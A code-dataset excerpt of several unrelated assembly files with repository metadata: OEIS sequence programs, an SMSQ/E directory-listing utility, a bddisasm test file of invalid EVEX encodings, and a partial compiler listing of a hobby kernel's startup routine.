] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/027/A027819.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A027819: 7*(n+1)*C(n+6,7)/2.
; 7,84,504,2100,6930,19404,48048,108108,225225,440440,816816,1447992,2469012,4069800,6511680,10147368,15444891,23015916,33649000,48348300,68378310,95315220,131105520,178132500,239291325,318073392
mov $1,$0
add $0,7
bin $0,$1
add $1,2
mul $0,$1
div $0,2
mul $0,7
| 26.727273 | 195 | 0.741497 |
31769a972d389ba2c6c229048854ee9105879e60 | 6,938 | asm | Assembly | util/gut/mkfll.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | util/gut/mkfll.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | util/gut/mkfll.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Make File List V1.02 1989 Tony Tebby QJUMP
; after Jonathan Oakley
; ????-??-?? 1.01 Preserve A2 for MKLIS (Jochen Merz)
; 2017-11-24 1.02 Check 2nd char is 1..8 for Xx_ network check (MK)
section gen_util
xdef gu_mkfll
xdef gu_mkdrl
xdef gu_mkflc
xref gu_fopen
xref gu_fclos
xref gu_mklis
xref gu_flchk
xref gu_drchk
xref gu_fmul
xref gu_iowp
xref gu_achp0
xref gu_rchp
xref cv_lctab
include 'dev8_keys_hdr'
include 'dev8_keys_err'
include 'dev8_keys_qdos_io'
include 'dev8_keys_qdos_ioa'
include 'dev8_keys_fll'
include 'dev8_mac_assert'
;---
; Generates a list of (sub-)directory files
;
; Registers:
; Entry Exit
; D0 0 no tree, -ve byte tree error code
; D1 number of files
; A1 pointer to list
; A2 pointer to directory name preserved
;---
gu_mkdrl
lea gu_drchk,a1 ; directory checking routine
bra.s gu_mkflc
;---
; Generates a list of files matching a given directory name.
;
; Registers:
; Entry Exit
; D0 0 no tree, -ve byte, tree error code
; D1 number of files
; A1 pointer to list
; A2 pointer to directory name preserved
;---
gu_mkfll
lea gu_flchk,a1 ; default checking routine
;---
; Generates a list of files using a given directory name and checking routine.
;
; Registers:
; Entry Exit
; D0 0 no tree, -ve byte tree error code
; D1 number of files
; A1 pointer to match routine pointer to list
; A2 pointer to directory name preserved
;
; The checking routine is called with a1 pointing to the file directory
; entry, and a2 pointing to the directory name. It should preserve
; all registers and return status zero if the file is acceptable.
;
;---
gu_mkflc
gmf.reg reg d2/d3/a0/a2/a3
movem.l gmf.reg,-(sp) ; save regs
move.b d0,d2
move.l #gmf_end,d0 ; allocate a bit for control block
jsr gu_achp0
bne.l gmf_exit
move.l a0,a3
move.l a1,gmf_chek(a3) ; checking routine
tst.b d2
spl gmf_dtpt(a3) ; keep tree flag
; Now open the directory
move.l a2,a0 ; directory name
moveq #ioa.kdir,d3 ; open as a directory
jsr gu_fopen(pc)
bne.l gmf_nolst ; ...oops
moveq #0,d1
moveq #iof.posa,d0 ; position at start !!
jsr gu_iowp
bne.l gmf_clerr
moveq #hdr.len,d2 ; set flag if real directory
lea gmf_dnam(a3),a1
moveq #iof.rhdr,d0
jsr gu_iowp
bne.s gmf_nodir ; old floppy driver
addq.b #1,hdr_type(a1) ; directory type is -1
beq.s gmf_vers2
move.l #$dfdfdff8,d0 ; surely this must be Mdv?
and.l 2(a2),d0
cmp.l #'MDV0',d0 ; ... is it?
seq gmf_dtyp+1(a3) ; -1 or 0 (byte)
bra.s gmf_nodir
gmf_vers2
st gmf_dlst(a3) ; no list required
addq.b #1,gmf_dtyp+1(a3) ; ... type 2
gmf_nodir
addq.b #1,gmf_dtyp+1(a3) ; 0 MDV, 1 old, 2 Version 2
move.l a0,gmf_chan(a3) ; keep directory channel ID
lea gmf_dvnm+2(a3),a1
lea 2(a2),a0
move.l (a0)+,(a1)+ ; copy start of name
move.l (a0)+,(a1)+
move.l (a0)+,(a1)+
move.l (a0)+,(a1)+
lea cv_lctab,a0
moveq #0,d1
moveq #0,d2
moveq #'_',d3 ; set end of section char
move.l a2,-(sp) ; preserve a2 for mklis JM
move.w (a2)+,d1
move.w d1,gmf_dvnl(a3) ; length of device
add.l a2,d1 ; end of pattern
cmp.b 2(a2),d3 ; xx_ for net?
bne.s gmf_stdev ; ... no, strip the device
*NET move.b (a2),d2
*NET cmp.b #'n',(a0,d2.w) ; N at start?
*NET bne.s gmf_stdev
move.b 1(a2),d2 ; At least 2nd char is 1..8? MK
cmp.b #'1',d2 ; MK
bcs.s gmf_stdev ; MK
cmp.b #'8',d2 ; MK
bhi.s gmf_stdev ; MK
addq.l #3,a2 ; ... yes, strip Xn_
gmf_stdev
cmp.b (a2)+,d3 ; skip until past _
bne.s gmf_stdev
sub.l a2,d1 ; length of the rest
sub.w d1,gmf_dvnl(a3) ; device name length
lea gmf_dnam(a3),a1
move.w d1,(a1)+ ; set rest of name
bra.s gmf_lclend
gmf_lcloop
move.b (a2)+,d2 ; copy lower case
move.b (a0,d2.w),(a1)+
subq.w #1,d1
gmf_lclend
bgt.s gmf_lcloop
move.l (sp)+,a2 ; get back a2 for mklis JM
lea gmf_rdir,a0 ; point to entry generating routine
move.w #fll.elen,d0 ; entry length
jsr gu_mklis ; and make a list
move.l gmf_chan(a3),a0 ; channel ID
gmf_close
jsr gu_fclos ; close the directory
move.w gmf_dtpt(a3),d3 ; stacked directories
ble.s gmf_rtct ; ... none
subq.w #4,gmf_dtpt(a3)
move.l gmf_dtls-4(a3,d3.w),a0 ; pop one
bra.s gmf_close ; and close
gmf_rtct
move.l a3,a0
jsr gu_rchp ; return control block
gmf_exit
movem.l (sp)+,gmf.reg
rts
gmf_clerr
jsr gu_fclos ; close after error
gmf_nolst
moveq #0,d0 ; no list is OK
move.l d0,d1
move.l d0,a1
bra.s gmf_rtct
;+++
; This is called from the list processing routine, to read the header of
; the next file.
;
; Registers:
; Entry Exit
; D0 error
; A1 list entry preserved
; A3 parameter frame preserved
;---
gmf_rdir
grd.reg reg d1/d2/d3/a0/a1/a2
movem.l grd.reg,-(sp)
grd_retry
move.w gmf_dtyp(a3),fll_dtyp(a1) ; set type
lea fll_fnam-hdr_name(a1),a1 ; put the name in the right place
grd_loop
moveq #hdr.len,d1 ; read header
move.l gmf_chan(a3),a0
jsr gu_fmul ; fetch multiple
beq.s grd_any
cmp.l #err.eof,d0 ; end of file?
bne.l grd_exit ; ... no
move.w gmf_dtpt(a3),d3 ; any stacked dirs?
ble.l grd_exit ; ... no
jsr gu_fclos ; close this one
subq.w #4,gmf_dtpt(a3)
move.l gmf_dtls-4(a3,d3.w),gmf_chan(a3) ; use the next
bra.s grd_loop
grd_any
tst.w hdr_name(a1) ; any file name?
beq.s grd_loop ; ... no, try again
move.l gmf_chek(a3),a0 ; check the file
jsr (a0)
bne.s grd_loop ; ... ignore it
move.w gmf_dtpt(a3),d3 ; tree required?
blt.s grd_setf ; ... no, file entry
cmp.b #-1,hdr_type(a1) ; directory?
bne.s grd_setf ; ... no, file entry
move.l gmf_chan(a3),gmf_dtls(a3,d3.w) ; stack old ID
addq.w #4,gmf_dtpt(a3)
lea hdr_name(a1),a0 ; file name
lea gmf_dvnl(a3),a1 ; device name length
move.w (a1)+,d0
move.w d0,(a1)
move.w (a0)+,d1 ; length of device name
add.w d1,(a1)+
add.w d0,a1 ; end of device name
grd_cpdr
move.b (a0)+,(a1)+ ; add dir name to end of device
subq.w #1,d1
bgt.s grd_cpdr
lea gmf_dvnm(a3),a0 ; open directory
moveq #ioa.kdir,d3
jsr gu_fopen
bne.s grd_exit
move.l a0,gmf_chan(a3) ; new directory channel
movem.l (sp),grd.reg ; old register values
bra grd_retry
grd_setf
lea fll_flen-fll_fnam+hdr_name(a1),a0 ; where we want the header
moveq #-$40,d1
add.l (a1)+,d1
move.l d1,(a0)+ ; corrected length
move.w (a1)+,(a0)+
move.l (a1)+,(a0)+
move.l (a1)+,(a0)+
moveq #hdr.nmln,d1
cmp.w (a1),d1 ; name too long ***TT
bge.s grd_snnmln ; ... no
move.w d1,(a1) ; name truncated
grd_snnmln
move.w (a1),fll_fnln-fll_fnam(a1) ; save file name length
lea hdr_date-hdr_name(a1),a1 ; auxiliary info: date/version
move.l (a1)+,d1
move.l d1,(a0)+ ; date
move.w (a1)+,(a0)+ ; version
addq.l #2,a1
lsr.l #1,d1
divu #12*60*60,d1 ; day
move.w d1,(a0)+
move.l (a1),(a0) ; backup date
grd_exit
tst.l d0
movem.l (sp)+,grd.reg
rts
end
| 23.841924 | 78 | 0.657394 |
8354b490a92b45fb6f5a5984cb09230b50c2e939 | 327 | asm | Assembly | oeis/054/A054542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/054/A054542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/054/A054542.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A054542: A Catalan-like sequence.
; Submitted by Jon Maiga
; 1,2,4,12,36,116,382,1287,4420,15397,54264,193154,693374,2507288,9124560,33393355,122821380,453756765,1683107800,6265751310,23402516280,87670790155,329337229104,1240292449350,4681874312510
add $0,1
mov $2,$0
mul $0,2
bin $0,$2
sub $0,1
add $2,2
div $0,$2
add $0,1
| 25.153846 | 189 | 0.761468 |
fdaca8b014f5b8108a03e68aa888063c06102846 | 447 | asm | Assembly | oeis/349/A349695.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/349/A349695.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/349/A349695.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A349695: a(n) = (2n^2 - n + 2) * (2n)! / ((n + 1) * (n + 2) * n!^2).
; Submitted by Jon Maiga
; 1,4,17,70,282,1122,4433,17446,68510,268736,1053626,4130524,16195220,63517950,249214545,978228870,3841579830,15093382920,59329549950,233324644020,918016888620,3613561263780,14230112774202,56061218710620,220948453132652,871137317136352
mov $1,$0
add $1,1
mov $2,1
add $2,$0
add $0,$2
add $1,2
bin $0,$1
mul $0,2
sub $1,1
mul $2,2
bin $2,$1
add $0,$2
| 26.294118 | 235 | 0.691275 |
7006db247024b11715cc9fd552eb0eba8b3da584 | 3,968 | asm | Assembly | bddisasm_test/special/invalid_evex_64_skip.asm | CrackerCat/bddisasm | 5a617986b7372dc6fe9ba63f67553c5ee2728d09 | [
"Apache-2.0"
] | 675 | 2020-07-09T12:57:49.000Z | 2022-03-26T15:03:53.000Z | bddisasm_test/special/invalid_evex_64_skip.asm | FDlucifer/bddisasm | 76d92e73c29eaaf175f2c77465b1c6eacaef6f3c | [
"Apache-2.0"
] | 41 | 2020-07-22T07:15:07.000Z | 2022-03-23T08:34:28.000Z | bddisasm_test/special/invalid_evex_64_skip.asm | FDlucifer/bddisasm | 76d92e73c29eaaf175f2c77465b1c6eacaef6f3c | [
"Apache-2.0"
] | 94 | 2020-07-09T14:39:02.000Z | 2022-03-27T10:37:03.000Z | bits 64
; EVEX.b (broadcast) enabled for an instruction which does not support broadcast (mod: mem)
db 0x62, 0xf1, 0x7d, 0x18, 0xc4, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.b (ER/SAE) enabled for an instruction which does not support ER/SAE (mod: reg)
db 0x62, 0xf1, 0x7d, 0x18, 0xc4, 0xd2, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.aaa != 0 for an instruction which does not support masking
db 0x62, 0xf1, 0x7d, 0x0b, 0xc4, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.aaa != 0 for an instruction which does not support masking
db 0x62, 0xf1, 0x7d, 0x0b, 0xc4, 0xd2, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z enabled for an instruction which does not support zeroing
db 0x62, 0xf1, 0x7d, 0x88, 0xc4, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z enabled for an instruction which does not support zeroing
db 0x62, 0xf1, 0x7d, 0x88, 0xc4, 0xd2, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.aaa == 0 for an instruction which has mandatory masking
db 0x62, 0xf2, 0xfd, 0x08, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.aaa == 0 for an instruction which has mandatory masking
db 0x62, 0xf2, 0xfd, 0x28, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.aaa == 0 for an instruction which has mandatory masking
db 0x62, 0xf2, 0xfd, 0x48, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.b (broadcast) enabled for an instruction which does not support broadcast (mod: mem)
db 0x62, 0xf2, 0xfd, 0x19, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.b (broadcast) enabled for an instruction which does not support broadcast (mod: mem)
db 0x62, 0xf2, 0xfd, 0x39, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.b (broadcast) enabled for an instruction which does not support broadcast (mod: mem)
db 0x62, 0xf2, 0xfd, 0x59, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z enabled for an instruction which does not support zeroing
db 0x62, 0xf2, 0xfd, 0x89, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z enabled for an instruction which does not support zeroing
db 0x62, 0xf2, 0xfd, 0xa9, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z enabled for an instruction which does not support zeroing
db 0x62, 0xf2, 0xfd, 0xc9, 0x92, 0x52, 0x40, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; Destination reg equal to the first source operand for instruction which must have dst != sources
db 0x62, 0xf6, 0x7f, 0x49, 0x56, 0xdb, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; Destination reg equal to the second source operand for instruction which must have dst != sources
db 0x62, 0xf6, 0x67, 0x49, 0x56, 0xdf, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.VVVV != 0 for instruction that does not use EVEX.VVVV
db 0x62, 0xf1, 0x64, 0xa9, 0x11, 0xdf, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.V' set for an instruction which does not use it
db 0x62, 0xf1, 0x7c, 0xa1, 0x11, 0xdf, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z set for memory operand
db 0x62, 0xf1, 0x7c, 0xa9, 0x11, 0x1f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z set but EVEX.aaa == 0
db 0x62, 0xf3, 0x7d, 0xa8, 0x19, 0xc9, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
; EVEX.z set but EVEX.aaa == 0
db 0x62, 0xf3, 0xfd, 0xa8, 0x0b, 0xc9, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 | 59.223881 | 103 | 0.661794 |
7d27861bd146a0f2b886d1e7a2c959ef4cc03392 | 474 | asm | Assembly | oeis/193/A193815.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/193/A193815.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/193/A193815.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A193815: Triangular array: the fusion of polynomial sequences P and Q given by p(n,x) = x^n + x^(n-1) + ... + x+1 and q(n,x)=(x+1)^n.
; Submitted by Christian Krause
; 1,1,1,1,3,2,1,4,6,3,1,5,10,10,4,1,6,15,20,15,5,1,7,21,35,35,21,6,1,8,28,56,70,56,28,7,1,9,36,84,126,126,84,36,8,1,10,45,120,210,252,210,120,45,9,1,11,55,165,330,462,462,330,165,55,10,1,12,66,220,495
mov $1,1
lpb $0
add $2,1
sub $0,$2
add $1,1
lpe
bin $1,$0
mul $0,2
div $0,$1
sub $1,$0
mov $0,$1
| 29.625 | 200 | 0.609705 |
cd16b8f988c11a713ead9dd4d8b9fd31fb3a8c20 | 13,909 | asm | Assembly | Aurora/Aurora/x64/Debug/init.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | 8 | 2021-07-19T04:46:35.000Z | 2022-03-12T17:56:00.000Z | Aurora/Aurora/x64/Debug/init.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | null | null | null | Aurora/Aurora/x64/Debug/init.asm | manaskamal/aurora-xeneva | fe277f7ac155a40465c70f1db3c27046e4d0f7b5 | [
"BSD-2-Clause"
] | null | null | null | ; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC _fltused
PUBLIC ?ap_address@@3PEAXEA ; ap_address
_BSS SEGMENT
?ap_address@@3PEAXEA DQ 01H DUP (?) ; ap_address
_BSS ENDS
CONST SEGMENT
$SG7674 DB '/', 00H
ORG $+6
$SG7679 DB '/apstart.bin', 00H
ORG $+3
$SG7680 DB 'AP_Adress setup -> %x', 0aH, 00H
ORG $+1
$SG7688 DB '/start.wav', 00H
ORG $+1
$SG7693 DB 'shell', 00H
ORG $+6
$SG7694 DB '/xshell.exe', 00H
$SG7695 DB 'priwm', 00H
ORG $+6
$SG7696 DB '/priwm.exe', 00H
ORG $+1
$SG7697 DB 'snake', 00H
ORG $+6
$SG7698 DB '/snake.exe', 00H
CONST ENDS
_DATA SEGMENT
_fltused DD 01H
_DATA ENDS
PUBLIC ??2@YAPEAX_K@Z ; operator new
PUBLIC ??3@YAXPEAX@Z ; operator delete
PUBLIC ?get_ap_address@@YAPEAXXZ ; get_ap_address
PUBLIC ??_U@YAPEAX_K@Z ; operator new[]
PUBLIC ?_kmain@@YAXXZ ; _kmain
EXTRN x64_cli:PROC
EXTRN x64_hlt:PROC
EXTRN ?hal_x86_64_setup_int@@YAXXZ:PROC ; hal_x86_64_setup_int
EXTRN ?hal_x86_64_feature_check@@YAXXZ:PROC ; hal_x86_64_feature_check
EXTRN ?hal_init@@YAXXZ:PROC ; hal_init
EXTRN ?pmmngr_init@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z:PROC ; pmmngr_init
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
EXTRN ?vmmngr_x86_64_init@@YAXXZ:PROC ; vmmngr_x86_64_init
EXTRN ?map_page@@YA_N_K0E@Z:PROC ; map_page
EXTRN ?console_initialize@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z:PROC ; console_initialize
EXTRN ?printf@@YAXPEBDZZ:PROC ; printf
EXTRN ?kybrd_init@@YAXXZ:PROC ; kybrd_init
EXTRN ?initialize_mouse@@YAXXZ:PROC ; initialize_mouse
EXTRN ?ata_initialize@@YAXXZ:PROC ; ata_initialize
EXTRN ?initialize_kmemory@@YAX_K@Z:PROC ; initialize_kmemory
EXTRN ?malloc@@YAPEAX_K@Z:PROC ; malloc
EXTRN ?free@@YAXPEAX@Z:PROC ; free
EXTRN ?hda_initialize@@YAXXZ:PROC ; hda_initialize
EXTRN ?hda_audio_add_pcm@@YAXPEAEI@Z:PROC ; hda_audio_add_pcm
EXTRN ?e1000_initialize@@YAXXZ:PROC ; e1000_initialize
EXTRN ?initialize_rtc@@YAXXZ:PROC ; initialize_rtc
EXTRN ?initialize_acpi@@YAXPEAX@Z:PROC ; initialize_acpi
EXTRN ?vfs_init@@YAXXZ:PROC ; vfs_init
EXTRN ?vfs_finddir@@YAPEAU_vfs_node_@@PEAD@Z:PROC ; vfs_finddir
EXTRN ?openfs@@YA?AU_vfs_node_@@PEAU1@PEAD@Z:PROC ; openfs
EXTRN ?readfs@@YAXPEAU_vfs_node_@@0PEAEI@Z:PROC ; readfs
EXTRN ?stream_init@@YAXXZ:PROC ; stream_init
EXTRN ?initialize_scheduler@@YAXXZ:PROC ; initialize_scheduler
EXTRN ?scheduler_start@@YAXXZ:PROC ; scheduler_start
EXTRN ?message_init@@YAXXZ:PROC ; message_init
EXTRN ?dwm_ipc_init@@YAXXZ:PROC ; dwm_ipc_init
EXTRN ?initialize_screen@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z:PROC ; initialize_screen
EXTRN ?screen_set_configuration@@YAXII@Z:PROC ; screen_set_configuration
EXTRN ?create_process@@YAHPEBDPEAD@Z:PROC ; create_process
EXTRN ?driver_mngr_initialize@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z:PROC ; driver_mngr_initialize
EXTRN ?initialize_serial@@YAXXZ:PROC ; initialize_serial
EXTRN ?sound_initialize@@YAXXZ:PROC ; sound_initialize
EXTRN ?pri_loop_init@@YAXXZ:PROC ; pri_loop_init
EXTRN ?arp_initialize@@YAXXZ:PROC ; arp_initialize
EXTRN ?arp_broadcast@@YAXXZ:PROC ; arp_broadcast
pdata SEGMENT
$pdata$??2@YAPEAX_K@Z DD imagerel $LN3
DD imagerel $LN3+24
DD imagerel $unwind$??2@YAPEAX_K@Z
$pdata$??3@YAXPEAX@Z DD imagerel $LN3
DD imagerel $LN3+24
DD imagerel $unwind$??3@YAXPEAX@Z
$pdata$??_U@YAPEAX_K@Z DD imagerel $LN3
DD imagerel $LN3+24
DD imagerel $unwind$??_U@YAPEAX_K@Z
$pdata$?_kmain@@YAXXZ DD imagerel $LN8
DD imagerel $LN8+701
DD imagerel $unwind$?_kmain@@YAXXZ
pdata ENDS
xdata SEGMENT
$unwind$??2@YAPEAX_K@Z DD 010901H
DD 04209H
$unwind$??3@YAXPEAX@Z DD 010901H
DD 04209H
$unwind$??_U@YAPEAX_K@Z DD 010901H
DD 04209H
$unwind$?_kmain@@YAXXZ DD 040a01H
DD 05d010aH
DD 060027003H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\init.cpp
_TEXT SEGMENT
i$1 = 32
info$ = 40
node$ = 48
ap$ = 56
buffer2$ = 64
buffer$ = 72
tv128 = 80
file$ = 96
apfile$ = 208
$T2 = 320
$T3 = 424
$T4 = 528
$T5 = 632
?_kmain@@YAXXZ PROC ; _kmain
; 111 : void _kmain () {
$LN8:
push rsi
push rdi
sub rsp, 744 ; 000002e8H
; 112 : KERNEL_BOOT_INFO *info = (KERNEL_BOOT_INFO*)0xFFFFE00000000000;
mov rax, -35184372088832 ; ffffe00000000000H
mov QWORD PTR info$[rsp], rax
; 113 : //! Initialize the memory mappings
; 114 : pmmngr_init (info);
mov rcx, QWORD PTR info$[rsp]
call ?pmmngr_init@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z ; pmmngr_init
; 115 : vmmngr_x86_64_init();
call ?vmmngr_x86_64_init@@YAXXZ ; vmmngr_x86_64_init
; 116 : hal_init();
call ?hal_init@@YAXXZ ; hal_init
; 117 : hal_x86_64_setup_int();
call ?hal_x86_64_setup_int@@YAXXZ ; hal_x86_64_setup_int
; 118 : initialize_kmemory(16);
mov ecx, 16
call ?initialize_kmemory@@YAX_K@Z ; initialize_kmemory
; 119 :
; 120 : initialize_serial();
call ?initialize_serial@@YAXXZ ; initialize_serial
; 121 :
; 122 : ata_initialize();
call ?ata_initialize@@YAXXZ ; ata_initialize
; 123 : vfs_init();
call ?vfs_init@@YAXXZ ; vfs_init
; 124 : initialize_screen(info);
mov rcx, QWORD PTR info$[rsp]
call ?initialize_screen@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z ; initialize_screen
; 125 : console_initialize(info);
mov rcx, QWORD PTR info$[rsp]
call ?console_initialize@@YAXPEAU_KERNEL_BOOT_INFO_@@@Z ; console_initialize
; 126 :
; 127 : screen_set_configuration(info->X_Resolution,info->Y_Resolution);
mov rax, QWORD PTR info$[rsp]
movzx eax, WORD PTR [rax+70]
mov rcx, QWORD PTR info$[rsp]
movzx ecx, WORD PTR [rcx+68]
mov edx, eax
call ?screen_set_configuration@@YAXII@Z ; screen_set_configuration
; 128 : initialize_rtc();
call ?initialize_rtc@@YAXXZ ; initialize_rtc
; 129 :
; 130 : vfs_node_t *node = vfs_finddir("/");
lea rcx, OFFSET FLAT:$SG7674
call ?vfs_finddir@@YAPEAU_vfs_node_@@PEAD@Z ; vfs_finddir
mov QWORD PTR node$[rsp], rax
; 131 : unsigned char* ap = (unsigned char*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR ap$[rsp], rax
; 132 : vfs_node_t apfile = openfs(node, "/apstart.bin");
lea r8, OFFSET FLAT:$SG7679
mov rdx, QWORD PTR node$[rsp]
lea rcx, QWORD PTR $T4[rsp]
call ?openfs@@YA?AU_vfs_node_@@PEAU1@PEAD@Z ; openfs
lea rcx, QWORD PTR $T2[rsp]
mov rdi, rcx
mov rsi, rax
mov ecx, 104 ; 00000068H
rep movsb
lea rax, QWORD PTR apfile$[rsp]
lea rcx, QWORD PTR $T2[rsp]
mov rdi, rax
mov rsi, rcx
mov ecx, 104 ; 00000068H
rep movsb
; 133 : readfs (node,&apfile,ap,apfile.size);
mov r9d, DWORD PTR apfile$[rsp+32]
mov r8, QWORD PTR ap$[rsp]
lea rdx, QWORD PTR apfile$[rsp]
mov rcx, QWORD PTR node$[rsp]
call ?readfs@@YAXPEAU_vfs_node_@@0PEAEI@Z ; readfs
; 134 : ap_address = ap;
mov rax, QWORD PTR ap$[rsp]
mov QWORD PTR ?ap_address@@3PEAXEA, rax ; ap_address
; 135 : printf ("AP_Adress setup -> %x\n", ap_address);
mov rdx, QWORD PTR ?ap_address@@3PEAXEA ; ap_address
lea rcx, OFFSET FLAT:$SG7680
call ?printf@@YAXPEBDZZ ; printf
; 136 :
; 137 :
; 138 : initialize_acpi (info->acpi_table_pointer);
mov rax, QWORD PTR info$[rsp]
mov rcx, QWORD PTR [rax+90]
call ?initialize_acpi@@YAXPEAX@Z ; initialize_acpi
; 139 : hal_x86_64_feature_check();
call ?hal_x86_64_feature_check@@YAXXZ ; hal_x86_64_feature_check
; 140 :
; 141 : //!Initialize kernel runtime drivers
; 142 : kybrd_init();
call ?kybrd_init@@YAXXZ ; kybrd_init
; 143 : initialize_mouse();
call ?initialize_mouse@@YAXXZ ; initialize_mouse
; 144 :
; 145 : for (int i = 0; i < 2*1024*1024/4096; i++)
mov DWORD PTR i$1[rsp], 0
jmp SHORT $LN5@kmain
$LN4@kmain:
mov eax, DWORD PTR i$1[rsp]
inc eax
mov DWORD PTR i$1[rsp], eax
$LN5@kmain:
cmp DWORD PTR i$1[rsp], 512 ; 00000200H
jge SHORT $LN3@kmain
; 146 : map_page((uint64_t)pmmngr_alloc(),0xFFFFF00000000000 + i * 4096, 0);
mov eax, DWORD PTR i$1[rsp]
imul eax, 4096 ; 00001000H
cdqe
mov rcx, 17592186044416 ; 0000100000000000H
sub rax, rcx
mov QWORD PTR tv128[rsp], rax
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
xor r8d, r8d
mov rcx, QWORD PTR tv128[rsp]
mov rdx, rcx
mov rcx, rax
call ?map_page@@YA_N_K0E@Z ; map_page
jmp SHORT $LN4@kmain
$LN3@kmain:
; 147 :
; 148 :
; 149 : vfs_node_t file = openfs (node, "/start.wav");
lea r8, OFFSET FLAT:$SG7688
mov rdx, QWORD PTR node$[rsp]
lea rcx, QWORD PTR $T5[rsp]
call ?openfs@@YA?AU_vfs_node_@@PEAU1@PEAD@Z ; openfs
lea rcx, QWORD PTR $T3[rsp]
mov rdi, rcx
mov rsi, rax
